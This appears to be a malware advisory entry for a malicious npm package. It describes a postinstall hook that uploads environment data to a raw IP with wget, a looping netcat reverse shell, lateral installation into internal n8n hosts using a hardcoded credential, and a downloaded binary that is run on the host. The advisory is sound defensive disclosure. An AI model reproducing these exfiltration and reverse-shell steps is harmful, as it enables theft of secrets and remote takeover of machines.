GCVE-110-OSM-2026-12127

On npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached. ENTRY postinstall.js (install-hook: node postinstall.js || true) - Install Hook Executes Local JS File in package.json DESTINATION - 1 exfil (custom-c2) - 2 fetched-payload (ipv4, urls) (values recorded in verified_iocs) EXFIL - Suspicious Domain in dist/SysDiag.node.js: "http://121.127.33.228" - Suspicious Domain in postinstall.js: "http://121.127.33.228" ADDITIONAL FINDINGS - Shell Command Execution in dist/SysDiag.node.js: "require('child_process')" - Platform Detection with Data Collection in postinstall.js: "JSON.stringify({install_status:i?i.s:null,body:i?String(i.b).slice(0,300):\'null..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js